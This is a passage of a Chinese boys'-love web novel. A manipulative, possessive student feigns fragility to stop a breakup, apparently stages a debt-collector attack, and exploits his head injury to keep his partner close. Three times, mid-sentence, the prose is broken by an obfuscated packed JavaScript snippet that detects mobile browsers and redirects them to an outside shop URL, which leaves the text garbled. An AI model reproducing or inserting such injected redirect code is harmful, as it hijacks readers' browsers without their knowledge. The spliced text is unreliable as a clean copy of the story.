陆知叙脸色阴沉,满脸不悦。 孟觉重重点头:“我也觉得好多人啊。” “以后不给他们捏了,好不好?” 陆知叙垂着眼睫,声音一下子放低,尾音轻轻往下落,带着点淡淡的委屈。 孟觉哪见过这种阵势,眼睛都瞪圆了。 他最怕一向冷漠的人突然软着嗓音求他。 因为他根本拒绝不了。 “不可以吗?是不是我的要求太过分了?” 陆知叙嗓音微哑,嘴角往下抿着,看上去更委屈了。 孟觉脑子里一片空白,只想着答应他。 “好,我答应你,不让别人捏我脸了。” “嗯,哥哥最好了。” 陆知叙眼睫弯起,脸上哪里还有刚刚委屈的小可怜模样。 孟觉眼珠微转,神情震惊,又吞吞吐吐道:“你刚刚喊我什么?” “我可以喊你哥哥吗?”陆知叙说道,“我之前不小心看到班主任电脑里的文件,你好像比我大一点。” 孟觉心脏怦怦直跳,他没想到自己的愿望这么轻易就实现了。 他小时候就想一个弟弟,竟在十八岁实现了。 即使陆知叙比他高比他力气大,看上去也比他成熟,但被叫哥哥,真的很爽啊。 他眼睛亮亮的:“你可以再叫一遍吗?” 陆知叙弯腰俯在他的耳边:“哥哥。” 这个年龄的男生早已过了变声期,孟觉的嗓音偏清亮有少年感,而陆知叙的嗓音偏成熟,低沉有磁性。 其实陆知叙的话中有破绽,只要细心一点便会发现,但孟觉已经被这声‘哥哥’喊爽了。 他:“我是比你大一点点,你可以喊我哥哥。” 原著里假少爷就是比真少爷早出生一点,况且他都活了两辈子了,再怎么算也比陆知叙大,所以他非常心安理得地接受了。 就连补习都比之前愉快多了。 谁不喜欢一个长得又高又帅又聪明的弟弟呢! 一切仿佛都在往好的方向发展。 孟觉看着帮他改题的陆知叙,怎么也想不到会有什么事能让他弟弟和他反目成仇。 他悄咪咪拿出手机,给许淮发消息。 【我有弟弟了!!!】 【许淮:延哥又给你买了假娃娃?】 孟觉打字,指尖用力戳在键盘上。 【是真的弟弟!不是娃娃!】 【许淮:哇塞!你竟然敢背着延哥在外面认弟弟。】 孟觉抬眼看了眼陆知叙,见他没有注意到这边,又继续低头打字。 【是陆知叙,他刚刚叫我哥哥了诶。】 【许淮:???】 【许淮:“这是就算当不了男朋友,也能当弟弟吗?”】 孟觉手快点开,等自习室里响起许淮的声音,才发现这是条语音。 他慌张关掉,小心翼翼地抬眼去瞅旁边的陆知叙。 男生正低头帮他改试卷,垂着眸看上去十分认真。 孟觉又盯了十来秒,忽然一抹白色闯入他的眼中,仔细一看,是蓝牙耳机。 原来陆知叙戴着蓝牙耳机,虚惊一场。 他松了口气,低头给许淮发消息,让他不要再发语音。 另一边,正在改卷的陆知叙姿态放松,头微微往后仰。 他歪了歪头,浅色瞳孔落在低着头的孟觉上,深不见底,安静地近乎诡异。 哥哥是想分手吗? 哈,怎么可以呢。 他还没玩够呢。 - 周六的夜晚很热闹,左边的街道孩子扎堆,抢着买糖葫芦,右边的街道多是情侣和夫妻,两两靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497969|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在一起满脸笑容。 孟觉看了看,拽过要往右边走的陆知叙,没话找话。 “你喜欢吃糖葫芦吗?” “哥哥,现在的糖葫芦和十三年前的味道有什么不一样吗?” 孟觉哑然,他知道陆知叙在回到孟家前过得有多不好,也预料到可能会听到‘没有吃过’这几个字。 但没想到回答他的是第三种答案。 十三年前,恰好是陆知叙五岁,那年他失去了双亲,被送到了福利院。 他张了张嘴,想说现在的糖葫芦比以前种类更多,有草莓、橘子、蓝莓、菠萝、葡萄,味道也不同,酸的、甜的、奶香的。 可喉咙像是被什么东西堵住了,发不出声来。 “你等一下。” 孟觉丢下陆知叙,往小孩堆里挤去。 被丢在原地的陆知叙视线从未从对方身上移开过,他猜对了,只要装装可怜,哥哥就会心软。 他敛下眉,发出一声舒服的喟叹。 有点期待回孟家的时候了,哥哥还会这样吗? 大概几分钟后,孟觉举着四五种不同的糖葫芦,眉梢带着笑,朝陆知叙跑来。 陆知叙手指微动,望着递到他面前的糖葫芦。 “哥哥是买给我的吗?” 男生嗓音低低的,在热闹的街道上却清晰地传到了孟觉的耳朵里。 他点了点头:“对,你尝尝。” 陆知叙眼里情绪微变:“太多了。” 孟觉笑道:“没事啊,我们可以一起吃。” “那哥哥先吃。” 孟觉怕他胡思乱想,就拿起一根水果的。 饱满的唇肉压在被糖浆裹住的草莓上,本想一口咬掉,但草莓太大了,嘴角被微微撑开,泛着浅红,舌尖卷起唇边的糖霜时,拉出一道晶莹的细丝,轻轻晃了晃。 陆知叙早已看得移不开眼,浅色瞳孔一沉,呼吸一顿。 目光死死盯在那道晃眼的银丝上,喉结狠狠滚了一下,心底翻涌的欲念几乎要冲破克制。 恨不得俯身过去,将那缕黏在他嘴角的银丝狠狠吮进自己嘴里。 旁边的目光过于灼热,孟觉顿了顿,把另一个水果糖葫芦递过去,迟疑道:“你吃这个。” “不要,我要和哥哥吃一根。” 陆知叙微微垂眸,眼睫遮住部分情绪,作出小可怜的姿态。 孟觉:“……好吧。” 一路上,两人只消灭了一根糖葫芦。 孟觉知道陆知叙不爱吃甜的,本想把这些糖葫芦带走,却被对方主动要去了。 问起原因。 陆知叙抬头道:“这是哥哥买给我的,那就是我的了。” 孟觉有些哭笑不得,把剩下几根糖葫芦都给了他。 今晚天空的星星很多,月亮也很圆。 很适合分手。 人烟稀少的巷口,孟觉听着身后沉稳的脚步声,深吸一口气。 “陆知叙,我们分手吧。” 霎时,周遭一切声音都淡了下去。 塑料袋的摩擦、后面的脚步声、彼此的呼吸,尽数隐没,只剩风穿过树叶,带起的细碎的沙沙声。 半晌,后面才响起熟悉的脚步声,离他越来越近,每一步都像踩在心上。 灼热的呼吸喷撒在他后颈上,激起一片颤栗。 男生嗓音低哑,带着不容反驳的语气:“哥哥,我不同意。” 10. 第 10 章 身后的压迫感太强,孟觉转过身,往后退了两步。 一双杏眼在灯光煜煜生辉,清透明亮,语气真挚。 “分手之后我们还可以当好朋友!不是老死不相往来那种。” 陆知叙站在光的背面,神情隐没在黑暗里,他勾起唇角,嗓音低沉,在夜色里竟轻柔得有些诡异。 “哥哥是不是还想给我颁个好人奖?” 孟觉神情讷讷。 被说中了。 “哥哥,我喜欢你才把真实的性格暴露给你看,你现在是要抛弃我吗?” 喜欢两个字如炸弹落在孟觉的心尖上。 他连忙开口:“不,你不能喜欢我。” “为什么?是哥哥先表白的。” 男生步步紧逼,孟觉很快就背靠着墙,无处可逃。 他抬头道:“是我太冲动了,那不是喜欢,而且我现在只把你当弟弟。” “不可以,哥哥不能这么自私。” 陆知叙眼神幽深,微微俯下身。 就像是要亲他一样。 孟觉红着脸,用力推开他。 等陆知叙被认回孟家,他们就是异父异母的兄弟。 兄弟间不能这样做。 他忽然明白了许淮之前一直告诫他的话,小心被拉上床亲嘴做.爱。 太有先见之明了。 人,至少不能这么变态。 “我会把你当成最亲的弟弟,所以就这样吧,好不好?” 孟觉抬起脸,殊不知漂亮的脸蛋上缀着乞求的表情,对陆知叙来说,是兴奋剂。 他感觉浑身的血液猛地冲上大脑,指尖都在发烫,兴奋几乎要冲破克制。 但下一秒他强行按了下去,脸上迅速恢复成一片冰冷的平静。 还没到最精彩的时候。 要慢慢玩。 就在这时,远处忽然传来一阵杂乱零碎的脚步声,混着粗哑的喝骂和碰撞声。 孟觉一激灵,几乎本能地把陆知叙藏在身后。 即使他们刚刚还在因为分手的事情争辩。 那堆人很快就跑到了他们面前,几乎每人手上都带着家伙什。 孟觉知道这是催债的人。 是陆知叙腿被砸断的情节。 领头的是一个扎着小辫的男人,看上去二十几岁,穿着破洞裤和黑色背心,两胳膊都有纹身,黑乎乎一片。 孟觉活了十几年,从来没和这种人打过交道。 他紧张地咽了咽口水,拽着陆知叙的袖子,想把人往后藏。 领头男人往地上吐了两口唾沫,凶狠道:“你们俩谁叫陆知叙?快点滚出来还钱!” 被拉住后面的陆知叙脸上挂起大大的笑容,脑子里兴奋地喊着:快啊,哥哥快把我推出去啊。 可下一秒,他却听见对方说:“我是陆知叙,你们要找的人是我。” 被挡在后面的陆知叙嘴角的笑容一顿,神情莫辨。 男生的嗓音因为害怕微微颤抖,却还是坚定地站在他面前。 记忆里的哥哥应该会把他推到前面,然后转头就跑,根本不会管他死活。 哥哥怎么变得这么好了,好到他都不想再玩这种无聊的游戏了。 站在前面的领头半眯着眼,色眯眯笑道:“你是陆知叙?可我听债主说陆知叙有一米八,还长得特别帅啊。” 孟觉愣住,债主会说这种话吗? 但对方明显没给他喘息的机会,举起棒球棍,不客气道:“让开,我们找你后面那位。” “你们不是要钱吗?我帮他还。” 孟觉仰起头,直视那张恶狠狠的脸。 他迅速从口袋里掏出准备好的银行卡。 “这里面有五万,密码六个零。” 站在领头旁边的一个黄毛搓了搓手,笑嘻嘻道:“老大,我看这小子说的有道理啊。” 孟觉看见他眼睛都要黏在银行卡上,皱眉道:“收了钱你们就要当我的面给债主打电话。” 黄毛听出他的言下之意,面红耳赤道:“你找死是吧!” 孟觉害怕地睫毛微颤,指尖发紧。 “你要是打我,我哥会给我报仇的。” 话音刚落,前面的人没动,后面的人动了。 孟觉伸手去抓他的手,却被对方反握在手心里。 他面色着急,不想让陆知叙出面。 万一那些人突然暴起怎么办? 但他力气太小,又没有对方高,只能眼睁睁看着他挡在他前面。 领头和孟觉差不多高,需要抬头才能看见陆知叙的脸,他面露不屑,用棒球棍戳了戳他的肩膀:“一直躲在别人后面,你也好意思,债主说了,你今天必须留下一只腿。” 他身后的小弟纷纷举起家伙什。 孟觉心想糟了,在后面扯住陆知叙的袖子,用很小的声音说道:“我带你跑吧。” 就算跑不掉,两个人也比一个人抗揍强,说不定还能碰到好心人。 孟觉绞尽脑汁想了几个可能有用的办法,跑是最有用的。 他拽着陆知叙的衣服,只等对方应一声就带他跑。 而打回去这个选项早被他pass掉了。 他从小就不爱动,身体虚,陆知叙看上去也很瘦,说不定还营养不良,他们怎么都打不过对面那些人。 陆知叙一直不吭声,孟觉也不知道他是要跑还是不跑。 这时,几人将两人围在中间,连个缝都没给他们留,显然没给他们逃跑的机会。 孟觉抿了抿唇,指尖因为用力发白,脸色苍白,没什么血色。 黄毛掂了掂手里的棍子,大喊道:“上!” 一时间所有人都往中间挤来,无组织无纪律,一片混乱。 孟觉趁机抓住陆知叙的手,打算带他偷偷逃跑。 他压低身子,眼睛忽然一亮,前方正好有个突破口,二打一还是有希望的。 他的注意力全都在前面,后背毫无防备地暴露在外。 刚要侧身迈出一步,身后便传来一阵风声。 一根粗木棍被高高举起,正对着他的后脑勺狠狠砸下。 孟觉余光瞥到,整个人像是被吓到一般愣在那里。 突然,一道身影猛地扑过来,替他挡住了棍子。 闷响重重砸在皮肉上,陆知叙浑身一颤,剧痛几乎瞬间攫住了神经,眼前一阵阵发黑,他看着僵在原地的孟觉,微微勾起嘴角。 脑海里迅速闪过一个念头——还好哥哥没受伤,不然眼睛都要哭瞎掉了。 下一秒,彻底晕了过去。 催债的人见出了血,明显愣住,一哄而散全跑了。 孟觉蹲下身,伸手一摸,指尖立刻沾到温热黏腻的血,他心脏骤然一缩,吓得呼吸都顿住了。 他手忙脚乱地拨通急救电话。 救护车来得很迅速,把两人载到最近的医院里。 与此同时。 某巷口。 黄毛凑到老大身边,舔了舔干裂的唇,紧张道:“大哥,我刚刚不是故意的,我是想打地面装装样子,不是想打那人。” 老大一看他那怂样,吼道:“你和我说有用吗?雇主说让我们吓吓那个小白脸,你倒好,直接把雇主头干破了!” 黄毛:“那我们还能拿到钱吗?” “拿到屁!不让我们倒贴就算不错了!”老大气得踹了他一脚,“成事不足败事有余的东西!” 黄毛委委屈屈蹲在角落里。 “我觉得和我关系不大啊,说不定雇主打得就是英雄救美的主意呢,他倒下的时候,我都看见他笑了。” 老大又踹了他两脚:“还说!我让你还说!闭嘴! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497970|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”、 - 一路上,孟觉就死死盯着躺在担架上的陆知叙,车上的护士把他脑后的伤简单处理了一下,可还是流了好多血。 那些纱布上都是血,他的手上也都是陆知叙的血。 好多血。 鲜红的颜色深深刺进了孟觉的眼睛里。 如果不是他非要在今天和陆知叙分手,陆知叙也许就会待在家里不会出门,也不会遇到这些人,更不会变成现在这样,生死未知地躺在救护车里。 工作人员对这样的情况已经司空见惯了。 她瞥到男生脸上的惶恐和不安,坐过来道:“我们马上就到医院了,他不会有事的。” 孟觉忍着要掉下来的眼泪,带着哭腔道:“可是他流了好多血。” 对于十八岁的少年来说,冲击力还是很大的。 “没有打到致命的地方。”工作人员看着那张雪白小巧的脸,安慰道,又递过来一张纸,指了指他右边的脸:“这里有血,你自己擦一擦。” 孟觉边哭边说谢谢。 到了医院,被推进了急诊。 孟觉脸色惨白,手心里全是冷汗。 他寸步不离地跟着,看着医生将陆知叙伤口附近的头发剃掉,清创消毒后又缝了几针,之后又去做了头颅CT。 检查床上,陆知叙脸色苍白,嘴唇上没有一丝血色,躺在那里仿佛没有呼吸了。 孟觉指尖微微发抖,一直站在那看着。 直到医生拿着片子说只是轻微脑震荡,没有颅内出血,不用进手术室,他才稍稍松了口气。 由于陆知叙一直没有醒,护士们要将他推到病房里。 孟觉先去缴了费用,又让他们换了个单人病房。 坐在陪护椅上,他才感觉自己神经一直紧绷着,现在放松下来,浑身都疼,特别是胸口,闷闷地像是被捶打过。 期间,他还接到了华叔的电话,他撒谎说今晚在许淮家里睡,又让许淮帮他圆了个谎。 他吐出浊气,打开水龙头,仔仔细细将手上干掉的血洗掉。 之后他又问了医生有哪些注意事项。 医生:“近期要好好休息,不能熬夜,不能剧烈运动,更不能受刺激,情绪大起大落很容易反复头疼、头晕、恶心。” 孟觉眉头微皱:“那什么时候能完全恢复?” 医生:“他是轻微脑震荡,一般一到两周就能慢慢缓解,完全恢复可能需要一个月左右,具体看个人情况。” 送走医生,孟觉坐在椅子上扣着手指。 他想,可能暂时不能提分手的事情了。 幸好高考后陆知叙才会被认回去,只要在那之前分掉,问题应该不大。 没过多久,病床上的人终于睁开了眼睛。 孟觉第一时间注意到,连忙走过去。 病床上,陆知叙轻嘶了一声,头疼得像是要裂开,太阳穴突突地跳,脸色惨白。 孟觉:“是不是头很疼?” 陆知叙似乎这才意识到自己在医院里,他动了动手指,转头看向一脸担忧的孟觉。 声音很轻,带着刚醒的沙哑:“哥哥,头……好疼。” “医生说了你要多休息,不要说话了。” 受伤的陆知叙躺在床上,额前凌乱的碎发软塌塌地贴在皮肤上,看着格外单薄可怜。 孟觉又道:“我会在这里陪你。” 陆知叙伸出手指,勾住他放在床边的指尖,敛着眸道:“可哥哥不是说要和我分手吗?” 孟觉见他主动提起,心头猛地一跳:“没有,我们不分手了。” 说话速度之快,生怕他头又开始疼。 陆知叙眨了眨眼睛,嘴角勾起一道很浅的笑容:“那哥哥不能反悔哦。” 孟觉看着病床上一直盯着他的陆知叙,轻轻地嗯了一声。 11. 第 11 章 “是这里吗?” 孟觉看着面前的学区房,语气里带着一丝迟疑。 有钱人扎堆的学区房和那种老破小不一样,是高端小区,精致绿化,沿路栽种着桂花树,小区里还有喷泉,物业24小时站岗,刷卡才能进出。 紧挨着学校,步行五分钟就能到,房价高得吓人,不是普通人能住得起的。 “嗯,是这里。”陆知叙头上包扎着纱布,脸色虚弱,微微倚靠着他,“是班主任给我找的。” 一说这话,孟觉就明白了。 虽然国际部里的大多数学生都会出国,但像陆知叙这种每次联考都得第一的,学校确实会把他供起来,毕竟国内的家长还是很看重成绩的。 陆知叙住在六楼,屋内通透敞亮,浅色系的装修干净整洁,落地采光也很好。 客厅和卧室都很宽敞,还有一间额外的书房。 孟觉简单参观了一下,对着坐在沙发上休息的陆知叙道:“你现在想不想喝水?” “不喝。” “那你饿不饿?” “不饿。” “那你想睡觉吗?” “哥哥——” 孟觉眼睫轻颤,抬眼望向故意拖长语调的男生:“嗯?怎么了?” “我想上厕所。” 孟觉撞进陆知叙含着笑意的眼眸,没好气地瞪了他一眼,抬手指了指右侧方向:“厕所在那儿,自己去吧。” “哥哥……我头晕。” 男生嗓音低沉慵懒,尾音裹着藏不住的愉悦,摆明了故意在逗他。 孟觉轻轻哼了一声,哪看不出他的小心思。 走过去在他身侧坐下,目光落在他包扎的后脑勺上,低声嘀咕:“脑震荡也会让人变成傻子吗?” “哥哥,你是在说我吗?” 故作委屈的嗓音贴着耳边响起,泛起酥酥麻麻的感觉。 孟觉刚要翘起嘴角,一只微凉的手掌便轻轻覆上了他的手背。 陆知叙的体温向来偏凉,不知是体质如此,还是生病的缘故,掌心贴上来,像夏日刚从冰箱取出的汽水,沁着一股清冽的凉意。 “才没有说你。” 顾及他还生着病,孟觉舍不得用力抽手,只能软着语气哄他:“我说的是我的一个朋友。” 陆知叙来了兴趣,兴致勃勃道:“是许淮吗?” “……”孟觉连忙说道,“不是他,是我另一个朋友。” “好吧。” 陆知叙眨了眨眼睛,语气听起来还有些遗憾。 孟觉:“……” 半晌,陆知叙垂着眸,又淡淡道:“哥哥的朋友好多啊,不像我,一个朋友都没有。” 孟觉:“……” 他怎么闻到一股茶茶的味道呢。 “我扶你去睡觉吧。” 孟觉起身,笑着伸手扶住陆知叙的胳膊,委婉说道,“我觉得你现在很困。” 其实他自己也犯困。 昨晚在医院几乎彻夜未眠,一直悬着心怕陆知叙半夜头疼头晕,挨到快天亮才合了会眼。 话音刚落,他便忍不住打了个哈欠。 把人送到卧室躺着后,他身子一松,随意地靠在沙发上,没一会儿便沉沉地睡了过去。 就在这时,卧室门被轻轻拉开。 陆知叙悄声走出来,缓缓蹲在沙发边,没有半分虚弱。 他抬手轻轻拨开孟觉额前散落的碎发,唇角勾起一道浅淡的笑容,低声呢喃:“哥哥心真大。” 不过稍微装装可怜,示弱撒娇,这人就轻易软了心肠。 他现在越发期待真相被拆穿的那天,想看哥哥错愕又羞恼的模样,一定很有趣。 温热的呼吸缓缓拂在孟觉的脸上,果然见他眉心轻轻蹙起。 陆知叙眼底掠过一丝恶劣的笑意,微微凑近,指腹摩挲过他细腻柔软的脸颊,低头轻轻咬了一口。 力度不算轻,但沙发上的人困极了,没有半点要醒的迹象。 看来昨晚,是真的是累坏了。 陆知叙直起身打算回卧室,刚站定,脑袋忽然一阵天旋地转,他立刻弯腰撑住沙发边沿,稳住身形。 良久,那阵眩晕感才缓缓褪去。 他面色微微沉了下来,随手拿起一旁的薄毯,丢在孟觉身上。 好在,毯子轻薄柔软,并没有惊扰到熟睡的人。 孟觉反而下意识攥住角,往怀里拢了拢,睡得更香了。 陆知叙望着,脸色又冷了几分,上辈子那些被欺负的画面如竹笋般又冒了出来。 下一秒,突兀的头疼再次袭来。 “……” - 孟觉是被满屋的饭菜香勾醒的。 他睡眼惺忪,指尖无意识抚过身上盖着的薄毯,心头微微一动。 嗯? 他坐起身,随手揉了揉凌乱的头发,转头便看见正在餐桌旁摆放餐具的陆知叙。 “毯子……是你帮我盖的吗?” 陆知叙放下筷子,淡淡地嗯了一声,不见之前的阴沉。 孟觉穿鞋走过去,目光落在满满一桌上,忍不住低低哇了一声:“好香!” 餐桌上整整齐齐摆着三菜一汤,青椒炒肉丝、土豆烧鸡、凉拌小菜,还有一锅西红柿鸡蛋汤。 都是最家常的菜式,却偏偏没有一样踩中他的忌口,全是他爱吃的又合胃口的。 念头刚落,孟觉忽然察觉到不对劲。 视线猛地落在陆知叙后脑勺包扎的伤口上,他倒吸一口凉气,语速都快了几分:“这些……是你做的吗?” 陆知叙已经落座,歪了歪头,示意身上系着的围裙,语气里带着几分笑意:“哥哥,这还不够明显吗?” 孟觉连连眨眼,音量不自觉抬高:“医生明明说过你不能乱动,我点外卖就好了啊。” 话音落下,他又想起自己刚刚在睡觉。 “你现在有没有哪里不舒服?头疼不疼?晕不晕?” 陆知叙给孟觉盛好米饭,抬眼轻笑:“没有不舒服,哥哥快点尝尝我的手艺。” 见他神色还不错,孟觉才放下心,乖乖坐下拿起碗筷。 一口青椒肉丝入口,鲜香入味,孟觉眼睛倏地亮了,眼底满是惊艳。 每道菜都合他的口味,他吃得格外尽兴,一碗米饭见底,又喝完一碗热汤,才放下筷子,整个人懒懒往后靠在椅背上,一脸满足。 “陆知叙,你也太会做饭了吧!好厉害!” 他毫不吝啬地夸赞,语气里满是真心。 陆知叙擦拭唇角的动作微微一顿,唇角不受控制上扬,脱口而出:“那我以后天天做给哥哥吃。” 这话完全是下意识说出口的,原本还打算故作谦虚,再装几分可怜博取他心疼的。 “真的吗?你怎么这么好啊。” 孟觉身体微微前倾,眼眸亮晶晶地望着他,像只满怀期盼的小狗,让人根本无法拒绝。 陆知叙心头泛起一阵难言的兴奋,指尖微微发颤,若无其事放到桌下,眉眼弯起:“因为哥哥很好,我很喜欢哥哥呢。” 孟觉抿住唇,嘴角弯起一道弧度,耳尖悄悄染上一层淡红。 “我也喜欢你。” 是对待弟弟那样的喜欢。 他没有多做解释,陆知叙还是个病人,经不起半点刺激。 歇了几分钟,孟觉主动起身要去洗碗。 陆知叙抬眸扫了他一眼:“哥哥,有洗碗机。” “那我来收拾碗筷好了。” 之后他又看着陆知叙乖乖服下医生开的药,才算放下心。 转眼到了晚上。 孟觉把餐具逐一放进洗碗机里,站在原地,神色几番踌躇。 刚刚他不仅接到了华叔的电话,还收到了哥哥的信息,催他今晚必须回家住。 陆知叙倚在不远处,将他那幅心事重重的模样尽收眼底,却没有主动开口追问。 孟觉走出厨房,客厅里却没有见到陆知叙的身影。 他出声喊了一句,空荡荡的屋子里无人回应。 心头骤然一紧,他连忙在屋里四处找寻。 直到推开卧室门,耳边传来浴室里哗哗的流水声。 孟觉下意识松了口气,转瞬又猛地反应过来陆知叙后脑勺有伤,不能碰水。 他快步冲到浴室门前,手都搭上了门把手,又突然顿住。 他和陆知叙现在的关系,不太适合坦诚相见。 于是他隔着门出声:“陆知叙,医生说你现在不能洗澡!” 浴室里水声潺潺,掩去大半声响,孟觉也不确定里面的人能不能听见。 就在这时,里面忽然溢出一声压抑的闷哼。 孟觉心头一慌,以为他伤口出了什么状况,再也顾不上男男有别,直接推门走了进去。 雾气缭绕的浴室里,陆知叙蹲在地上,单手捂着头。 孟觉目光飞快扫过,见他穿着衣服,才稍稍松了口气。 他小心翼翼走过去,跟着蹲下身,语气里满是担忧:“是不是又头疼了?” 陆知叙闷闷地点了点头,似乎连开口的力气都没有。 看他难受地说不出话,孟觉起身凑近,小心查看他后脑勺的包扎,还好没被水打湿。 他不由生出几分恨铁不成钢的无奈,仿佛真的在教训弟弟。 “医生明明都说了你暂时不能洗澡,是不是开小差了?” 被数落,陆知叙也不反驳,就乖乖站在原地,依旧单手按着头,安安静静一动不动。 看他站那,一副委屈又可怜的模样,孟觉心里一软,只能伸手扶住他,慢慢走出浴室。 “现在感觉怎么样?疼得厉害吗?” 把人安置在床上躺好,孟觉蹙着眉轻声问道。 陆知叙脸色依旧泛着白,看上去精神差了很多,长睫湿漉漉垂着,分不清沾的是浴室的水汽,还是隐忍的泪水。 “疼……哥哥……我头晕。” 孟觉正低头给他掖好被角,闻言轻轻摸了摸他的额头,又摸了摸他的脸。 刚洗完澡的陆知叙身上还带着水汽余温,掌心贴上去,温热的触感透过薄薄皮肉,清晰地蔓延到指尖。 孟觉屈起指尖,轻轻戳了戳他的脸颊,语气带着几分嗔怪:“让你不听话,非要逞能自己洗澡。” 指尖刚要收回,却被陆知叙反手一把攥住。 他声音低低的,带着一点虚弱的哑意:“哥哥,你再摸摸我。” 孟觉愣了愣,眼里浮起几分疑惑。 陆知叙垂着眼,轻声道:“哥哥摸摸我,我好像就没有那么疼了。” 孟觉心头微怔,难道自己的手还有这种安抚人的奇效? 他大抵知道这只是陆知叙的心理作用,但还是安安静静倚坐在床边,抬手替他按着太阳穴。 几周前他特意去学过整套按摩手法,本是想给爸妈缓解疲惫,此刻指尖落在陆知叙的鬓角穴位,动作熟稔又专业。 陆知叙微微阖着眼,余光落在他认真的侧脸上。 男生垂着眸,眉眼敛得温顺,指尖力道恰到好处。 他喉结不易察觉地轻轻滚了一下,眸色也沉了半分。 孟觉正专注地帮他按摩,小指却忽然被勾住,他抬眼望过去,直直撞进陆知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497971|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙的眼眸里。 “哥哥晚上要回家吗?能不能陪陪我?” 男生垂着眼,语气里透着可怜巴巴。 “嗯……家里人催我回家……” 话音还未说完,小指就被勾的更紧。 孟觉眨了眨眼睛,胸腔里淌过一股莫名的热流,胀胀的,不讨厌。 在陆知叙紧张的目光下,他微微一笑:“我要去请示一下。” 孟觉推开阳台门,垂眸看着自己的手,嘴角抿成一条直线。 昨晚这双手上沾的全是陆知叙的血,那么多,那么红,有一瞬间,他害怕陆知叙真的死了,那他可能一辈子都不会原谅自己了。 手机屏幕上显示出熟悉的电话号码,他睫毛轻颤,接通。 “孟孟,哥哥派人去接你。” 孟博延沉稳的嗓音通过话筒传到孟觉的耳朵里。 他摸了摸耳朵,眼睛不自然地眨动,低声道:“哥哥,我今晚还想住在许淮家里,明天放学后就回家,好不好?” 话筒里一阵沉默。 半晌,手机里才响起孟博延的声音。 “孟孟,你乖一点,总是住在许淮家很打扰。” 孟觉咬住嘴唇,呼吸发沉:“哥哥,是许淮他——” 忽地,电话那头传来别人的声音,听得不是很清楚,像是在汇报工作。 他扣了扣花盆里的绿植,语速加快:“哥哥,你接着忙吧,我明天就回家,你不要派人来接我,我和许淮在外面玩!” 说完他就挂断了电话。 由于说得又急又快,孟觉脸上浮出淡淡的红晕,扶着栏杆微微喘气。 在他背后,陆知叙低着头站在那里,不知道听到了多少。 男生眸光微闪,像是没出现过一样,悄无声息地转身离开了。 孟觉平复好情绪,正要转身进屋,余光就瞥到被他揪掉两片叶子的绿植。 他闭上眼睛,两秒后再睁开。 原本只有七八片叶子的小草现在看上去更秃了。 不能被发现…… 孟觉捡起那两片叶子,试图重新安上,以此混淆。 但失败了。 接连几次,还是失败。 最后,他迫不得已选择了毁尸灭迹。 - “我睡哪里啊?” 孟觉神情自若地回到卧室,但在碰到陆知叙目光时,心里稍稍一咯噔,再若无其事地移开视线。 陆知叙看着他脸上的心虚,眼睛微微眯起,面上却丝毫不显,歪了歪头道:“只有一个卧室,只能委屈哥哥和我睡一张床了。” 孟觉望着陆知叙旁边那半个空位,指尖一顿,往后退了一步,磕磕巴巴道:“我睡沙发,你半夜有事喊我。” 话音落下,他就慌慌张张要转身。 “哥哥——” 身后传来陆知叙故意拉长的语调,“你是嫌弃我吗?” 听到他的话,孟觉不得不转过身,头皮微微发麻,低声道:“没有,不嫌弃。” “那和我一起睡,好不好?” 孟觉刚要继续搬出理由,抬眼却看见陆知叙耷拉着眉眼,浅色的瞳孔里满是委屈。 “五岁后就没有人陪过我睡觉了……” “好。” 孟觉猛地回过神,心底陡然一惊,后知后觉自己竟脑子一热,下意识就顺口答应了下来。 他抬眼对上陆知叙眼底的笑意,耳根瞬间泛起薄红,心里又窘迫又别扭,只好磨磨蹭蹭挪进浴室。 只是进了浴室才发现他根本没有换洗的衣服,正手足无措时,门外传来轻轻的敲门声。 “哥哥,我给你拿了衣服,内裤是新的。” 孟觉伸出手,飞快地把衣物接了进来,闷声道:“谢谢。” 陆知叙看着重新关上的门,眼前仿佛又浮现出刚刚那截手臂。 好白。 很适合留下一些痕迹。 片刻后,孟觉拉开浴室,小心翼翼走了出来。 宽大的T恤套在他身上松松垮垮的,衬得身形愈发单薄娇小。 他一只手局促地垂在身侧,另一只手悄悄绕到身后,紧紧拽着内裤边沿。 谁能想到陆知叙的内裤尺码这么大,穿上后根本兜不住,稍微一动就往下滑。 而且陆知叙还没有给他拿裤子。 孟觉虽然没抬头,但能感觉到陆知叙落在他身上的目光,像蛇巡视领地一般,带着浓浓的占有欲,黏腻地覆在他的肌肤上。 明明对方没出声,可那道视线却无处不在,让他浑身发紧,呼吸都放轻了几分。 陆知叙视线缓缓掠过孟觉沾着氤氲水汽的锁骨,待他走近后,又清晰看见他脖颈上滑落的水珠,让他喉咙发紧。 “陆知叙,你这里有多余的裤子吗?” 